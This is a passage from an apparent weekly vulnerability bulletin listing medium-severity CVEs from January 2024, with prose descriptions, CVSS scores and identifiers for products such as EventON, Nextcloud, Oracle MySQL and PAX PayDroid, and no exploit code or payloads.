	behalf of users might inadvertently permit less privileged users to define configuration tags. These tags could then be passed as parameters to mock during execution, potentially leading to the utilization of Jinja2 templates for remote privilege escalation and the execution of arbitrary code as the root user on the build server.			
monitorr_1.7.6m -- monitorr_1.7.6m	A vulnerability was found in Monitorr 1.7.6m. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /assets/php/upload.php of the component Services Configuration. The manipulation of the argument fileToUpload leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251539. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-19	4.7	CVE-2024-0713
myeventon -- eventon	The EventON WordPress plugin before 4.5.5, EventON WordPress plugin before 2.2.7 do not properly sanitise and escape a parameter before outputting it back in pages, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin	2024-01-16	6.1	CVE-2024-0233
myeventon -- eventon	The EventON WordPress plugin before 4.5.5, EventON WordPress plugin before 2.2.7 do not have authorisation in an AJAX action, and does not ensure that the post to be updated belong to the plugin, allowing unauthenticated users to update arbitrary post metadata.	2024-01-16	6.1	CVE-2024-0238
myeventon -- eventon	The EventON WordPress plugin before 4.5.5, EventON WordPress plugin before 2.2.7 do not have authorisation in an AJAX action, allowing unauthenticated users to retrieve email addresses of any users on the blog	2024-01-16	5.3	CVE-2024-0235
myeventon -- eventon	The EventON WordPress plugin before 4.5.5, EventON WordPress plugin before 2.2.7 do not have authorisation in an AJAX action, allowing unauthenticated users to retrieve the settings of arbitrary virtual events, including any meeting password set (for example for Zoom)	2024-01-16	5.3	CVE-2024-0236
myeventon -- eventon	The EventON WordPress plugin before 4.5.5, EventON WordPress plugin before 2.2.7 do not have authorisation in some AJAX actions, allowing unauthenticated users to update virtual events settings, such as meeting URL, moderator, access details etc	2024-01-16	5.3	CVE-2024-0237
myeventon -- eventon	The EventON WordPress plugin before 4.5.5, EventON WordPress plugin before 2.2.7 does not sanitize and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).	2024-01-16	4.8	CVE-2023-6005
myeventon -- eventon	The EventON WordPress plugin before 2.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored HTML Injection attacks even when the unfiltered_html capability is disallowed.	2024-01-16	4.8	CVE-2023-6046
mythemeshop -- url_shortener_by_mythemeshop	Missing Authorization vulnerability in MyThemeShop URL Shortener by MyThemeShop.This issue affects URL Shortener by MyThemeShop: from n/a through 1.0.17.	2024-01-17	5.4	CVE-2023-23896
netapp -- clustered_data_ontap	ONTAP versions 9.4 and higher are susceptible to a vulnerability which when successfully exploited could lead to disclosure of sensitive information to unprivileged attackers when the object-store profiler command is being run by an administrative user.	2024-01-12	6.5	CVE-2024-21982 security-alert@netapp.com
nextcloud -- security-advisories	Nextcloud guests app is a utility to create guest users which can only see files shared with them. In affected versions users were able to load the first page of apps they were actually not allowed to access. Depending on the selection of apps installed this may present a permissions bypass. It is recommended that the Guests	2024-01-18	5.4	CVE-2024-22402

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	app is upgraded to 2.4.1, 2.5.1 or 3.0.1. There are no known workarounds for this vulnerability.			
nextcloud -- security-advisories	Nextcloud guests app is a utility to create guest users which can only see files shared with them. In affected versions users could change the allowed list of apps, allowing them to use apps that were not intended to be used. It is recommended that the Guests app is upgraded to 2.4.1, 2.5.1 or 3.0.1. There are no known workarounds for this vulnerability.	2024-01-18	4.1	CVE-2024-22401
nextcloud -- security-advisories	Nextcloud files Zip app is a tool to create zip archives from one or multiple files from within Nextcloud. In affected versions users can download "view-only" files by zipping the complete folder. It is recommended that the Files ZIP app is upgraded to 1.2.1, 1.4.1, or 1.5.0. Users unable to upgrade should disable the file zip app.	2024-01-18	4.1	CVE-2024-22404
nextend -- smart_slider_3	Deserialization of Untrusted Data vulnerability in Nextend Smart Slider 3.This issue affects Smart Slider 3: from n/a through 3.5.1.9.	2024-01-19	4.3	CVE-2022-45845
nickmomrik -- simple_post	The Simple Post WordPress plugin through 1.1 does not sanitize user input when an authenticated user Text value, then it does not escape these values when outputting to the browser leading to an Authenticated Stored XSS Cross-Site Scripting issue.	2024-01-16	5.4	CVE-2021-24567
notary_project -- notary_project	The Notary Project is a set of specifications and tools intended to provide a cross-industry standard for securing software supply chains by using authentic container images and other OCI artifacts. An external actor with control of a compromised container registry can provide outdated versions of OCI artifacts, such as Images. This could lead artifact consumers with relaxed trust policies (such as `permissive` instead of `strict`) to potentially use artifacts with signatures that are no longer valid, making them susceptible to any exploits those artifacts may contain. In Notary Project, an artifact publisher can control the validity period of artifact by specifying signature expiry during the signing process. Using shorter signature validity periods along with processes to periodically resign artifacts, allows artifact producers to ensure that their consumers will only receive up-to-date artifacts. Artifact consumers should correspondingly use a `strict` or equivalent trust policy that enforces signature expiry. Together these steps enable use of up-to-date artifacts and safeguard against rollback attack in the event of registry compromise. The Notary Project offers various signature validation options such as `permissive`, `audit` and `skip` to support various scenarios. These scenarios includes 1) situations demanding urgent workload deployment, necessitating the bypassing of expired or revoked signatures; 2) auditing of artifacts lacking signatures without interrupting workload; and 3) skipping of verification for specific images that might have undergone validation through alternative mechanisms. Additionally, the Notary Project supports revocation to ensure the signature freshness. Artifact publishers can sign with short-lived certificates and revoke older certificates when necessary. This revocation serves as a signal to inform artifact consumers that the corresponding unexpired artifact is no longer approved by the publisher. This enables the artifact publisher to control the validity of the signature independently of their ability to manage artifacts in a compromised registry.	2024-01-19	4	CVE-2024-23332
novel-plus -- novel-plus	A vulnerability has been found in Novel-Plus 4.3.0-RC1 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /novel/bookSetting/list. The manipulation of the argument sort leads to sql injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251383.	2024-01-18	5.5	CVE-2024-0655
nozomi -- check_point_IoT_integration	A missing authentication check in the WebSocket channel used for the Check Point IoT integration in Nozomi Networks Guardian and CMC, may allow an unauthenticated attacker to obtain assets data without authentication. Malicious unauthenticated users with knowledge on the underlying system may be able to extract asset information.	2024-01-15	5.3	CVE-2023-5253 prodsec@nozominetworks.com

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
nvidia -- dgx_a100_firmware	NVIDIA DGX A100 SBIOS contains a vulnerability where a user may cause a dynamic variable evaluation by local access. A successful exploit of this vulnerability may lead to denial of service.	2024-01-12	5.5	CVE-2023-31032
obg -- ark_wysiwyg_comment_editor	The ark-commenteditor WordPress plugin through 2.15.6 does not properly sanitise or encode the comments when in Source editor, allowing attackers to inject an iFrame in the page and thus load arbitrary content from any page to the comment section	2024-01-16	5.3	CVE-2021-4227
opcua -- servertoolkit	OPCUAServerToolkit will write a log message once an OPC UA client has successfully connected containing the client's self-defined description field.	2024-01-16	5.3	CVE-2023-7234 ics-cert@hq.dhs.gov ics-cert@hq.dhs.gov
open_edX_platform -- open_edX_platform	Open edX Platform is a service-oriented platform for authoring and delivering online learning. A user with a JWT and more limited scopes could call endpoints exceeding their access. This vulnerability has been patched in commit 019888f.	2024-01-13	6.4	CVE-2024-22209
openkm -- openkm	A Stored Cross-Site Scripting (XSS) vulnerability exists in OpenKM version 7.1.40 (dbb6e88) With Professional Extension that allows an authenticated user to upload a note on a file which acts as a stored XSS payload. Any user who opens the note of a document file will trigger the XSS.	2024-01-13	5.4	CVE-2023-50072
oracle -- bi_publisher	Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: Web Server). Supported versions that are affected are 6.4.0.0.0, 7.0.0.0.0 and 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle BI Publisher. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle BI Publisher, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle BI Publisher accessible data as well as unauthorized read access to a subset of Oracle BI Publisher accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).	2024-01-16	5.4	CVE-2024-20979
oracle -- bi_publisher	Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: Web Server). The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle BI Publisher. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle BI Publisher, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle BI Publisher accessible data as well as unauthorized read access to a subset of Oracle BI Publisher accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).	2024-01-16	5.4	CVE-2024-20987
oracle -- business_intelligence	Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Pod Admin). Supported versions that are affected are 6.4.0.0.0 and 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. While the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle Business Intelligence Enterprise Edition accessible data. CVSS 3.1 Base Score 5.0 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N).	2024-01-16	5	CVE-2024-20904

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
oracle -- complex_maintenance\,_repair\,_and_overhaul	Vulnerability in the Oracle Complex Maintenance, Repair, and Overhaul product of Oracle Supply Chain (component: LOV). Supported versions that are affected are 11.5, 12.1 and 12.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Complex Maintenance, Repair, and Overhaul. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Complex Maintenance, Repair, and Overhaul, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Complex Maintenance, Repair, and Overhaul accessible data as well as unauthorized read access to a subset of Oracle Complex Maintenance, Repair, and Overhaul accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).	2024-01-16	6.1	CVE-2024-20942
oracle -- customer_interaction_history	Vulnerability in the Oracle Customer Interaction History product of Oracle E-Business Suite (component: Outcome-Result). Supported versions that are affected are 12.2.3-12.2.13. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Customer Interaction History. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Customer Interaction History, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Customer Interaction History accessible data as well as unauthorized read access to a subset of Oracle Customer Interaction History accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).	2024-01-16	6.1	CVE-2024-20950
oracle -- installed_base	Vulnerability in the Oracle Installed Base product of Oracle E-Business Suite (component: Engineering Change Order). Supported versions that are affected are 12.2.3-12.2.13. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Installed Base. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Installed Base, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Installed Base accessible data as well as unauthorized read access to a subset of Oracle Installed Base accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).	2024-01-16	6.1	CVE-2024-20934
oracle -- integrated_lights_out_manager_firmware	Vulnerability in the Integrated Lights Out Manager (ILOM) product of Oracle Systems (component: System Management). Supported versions that are affected are 3, 4 and 5. Easily exploitable vulnerability allows high privileged attacker with network access via ICMP to compromise Integrated Lights Out Manager (ILOM). Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Integrated Lights Out Manager (ILOM), attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Integrated Lights Out Manager (ILOM) accessible data as well as unauthorized read access to a subset of Integrated Lights Out Manager (ILOM) accessible data. CVSS 3.1 Base Score 4.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N).	2024-01-16	4.8	CVE-2024-20906
oracle -- istore	Vulnerability in the Oracle iStore product of Oracle E-Business Suite (component: ECC). Supported versions that are affected are 12.2.3-12.2.13. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle iStore. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle iStore, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle iStore accessible data as well as unauthorized read access	2024-01-16	6.1	CVE-2024-20938

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	to a subset of Oracle iStore accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).			
oracle -- isupport	Vulnerability in the Oracle iSupport product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.13. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle iSupport. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle iSupport, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle iSupport accessible data as well as unauthorized read access to a subset of Oracle iSupport accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).	2024-01-16	5.4	CVE-2024-20944
oracle -- knowledge_management	Vulnerability in the Oracle Knowledge Management product of Oracle E-Business Suite (component: Create, Update, Authoring Flow). Supported versions that are affected are 12.2.3-12.2.13. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Knowledge Management. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Knowledge Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Knowledge Management accessible data as well as unauthorized read access to a subset of Oracle Knowledge Management accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).	2024-01-16	6.1	CVE-2024-20940
oracle -- knowledge_management	Vulnerability in the Oracle Knowledge Management product of Oracle E-Business Suite (component: Setup, Admin). Supported versions that are affected are 12.2.3-12.2.13. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Knowledge Management. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Knowledge Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Knowledge Management accessible data as well as unauthorized read access to a subset of Oracle Knowledge Management accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).	2024-01-16	6.1	CVE-2024-20948
oracle -- mysql	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).	2024-01-16	6.5	CVE-2024-20961
oracle -- mysql	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Security: Encryption). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).	2024-01-16	6.5	CVE-2024-20963

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
oracle -- mysql	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).	2024-01-16	6.5	CVE-2024-20973
oracle -- mysql	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.2.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).	2024-01-16	6.5	CVE-2024-20975
oracle -- mysql	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).	2024-01-16	6.5	CVE-2024-20977
oracle -- mysql	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: UDF). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).	2024-01-16	6.5	CVE-2024-20985
oracle -- mysql	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Replication). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server as well as unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 5.5 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H).	2024-01-16	5.5	CVE-2024-20967
oracle -- mysql	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DDL). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server as well as unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 5.5 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H).	2024-01-16	5.5	CVE-2024-20969
oracle -- mysql	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently	2024-01-16	4.9	CVE-2024-20965

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).			
oracle -- mysql	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).	2024-01-16	4.9	CVE-2024-20971
oracle -- mysql	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DDL). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).	2024-01-16	4.9	CVE-2024-20981
oracle -- mysql	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DML). Supported versions that are affected are 8.0.34 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).	2024-01-16	4.9	CVE-2024-20983
oracle -- one-to-one_fulfillment	Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Documents). Supported versions that are affected are 12.2.3-12.2.13. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle One-to-One Fulfillment. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle One-to-One Fulfillment, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle One-to-One Fulfillment accessible data as well as unauthorized read access to a subset of Oracle One-to-One Fulfillment accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).	2024-01-16	6.1	CVE-2024-20936
oracle -- outside_in_technology	Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Content Access SDK, Image Export SDK, PDF Export SDK, HTML Export SDK). The supported version that is affected is 8.5.6. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Outside In Technology. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Outside In Technology accessible data as well as unauthorized read access to a subset of Oracle Outside In Technology accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 6.3 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L).	2024-01-16	6.3	CVE-2024-20930
oracle -- solaris	Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel). The supported version that is affected is 11. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash	2024-01-16	5.5	CVE-2024-20946

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	(complete DOS) of Oracle Solaris. CVSS 3.1 Base Score 5.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).			
oracle -- webcenter_content	Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server). The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Content. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle WebCenter Content, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle WebCenter Content accessible data as well as unauthorized read access to a subset of Oracle WebCenter Content accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).	2024-01-16	6.1	CVE-2024-20928
oracle -- webcenter_sites	Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: Advanced UI). The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle WebCenter Sites, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle WebCenter Sites accessible data as well as unauthorized read access to a subset of Oracle WebCenter Sites accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).	2024-01-16	6.1	CVE-2024-20908
oracle -- zfs_storage_appliance_kit	Vulnerability in the Oracle ZFS Storage Appliance Kit product of Oracle Systems (component: Core). The supported version that is affected is 8.8. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle ZFS Storage Appliance Kit executes to compromise Oracle ZFS Storage Appliance Kit. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle ZFS Storage Appliance Kit. CVSS 3.1 Base Score 4.4 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).	2024-01-16	4.4	CVE-2024-20959
oracle-- multiple_products	Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Scripting). Supported versions that are affected are Oracle Java SE: 8u391, 8u391-perf, 11.0.21; Oracle GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 20.3.12, 21.3.8 and 22.3.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N).	2024-01-16	5.9	CVE-2024-20926
oretnom23 -- house_rental_management_system	A vulnerability, which was classified as problematic, has been found in SourceCodester House Rental Management System 1.0. This issue affects some unknown processing of the file index.php. The manipulation of the argument page leads to cross site scripting. The attack may be initiated remotely. The exploit has	2024-01-13	4.8	CVE-2024-0499

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250607.			
oretnom23 -- house_rental_management_system	A vulnerability, which was classified as problematic, was found in SourceCodester House Rental Management System 1.0. Affected is an unknown function of the component Manage Tenant Details. The manipulation of the argument Name leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250608.	2024-01-13	4.8	CVE-2024-0500
oretnom23 -- house_rental_management_system	A vulnerability has been found in SourceCodester House Rental Management System 1.0 and classified as problematic. Affected by this vulnerability is an unknown functionality of the component Manage Invoice Details. The manipulation of the argument Invoice leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250609 was assigned to this vulnerability.	2024-01-13	4.8	CVE-2024-0501
paxtechnology -- paydroid	PAX Android based POS devices with PayDroid_8.1.0_Sagittarius_V11.1.45_20230314 or earlier can allow the signed partition overwrite and subsequently local code execution via hidden command. The attacker must have physical USB access to the device in order to exploit this vulnerability.	2024-01-15	6.8	CVE-2023-42134
paxtechnology -- paydroid	PAX A920Pro/A50 devices with PayDroid_8.1.0_Sagittarius_V11.1.50_20230614 or earlier can allow local code execution via parameter injection by bypassing the input validation when flashing a specific partition. The attacker must have physical USB access to the device in order to exploit this vulnerability.	2024-01-15	6.8	CVE-2023-42135
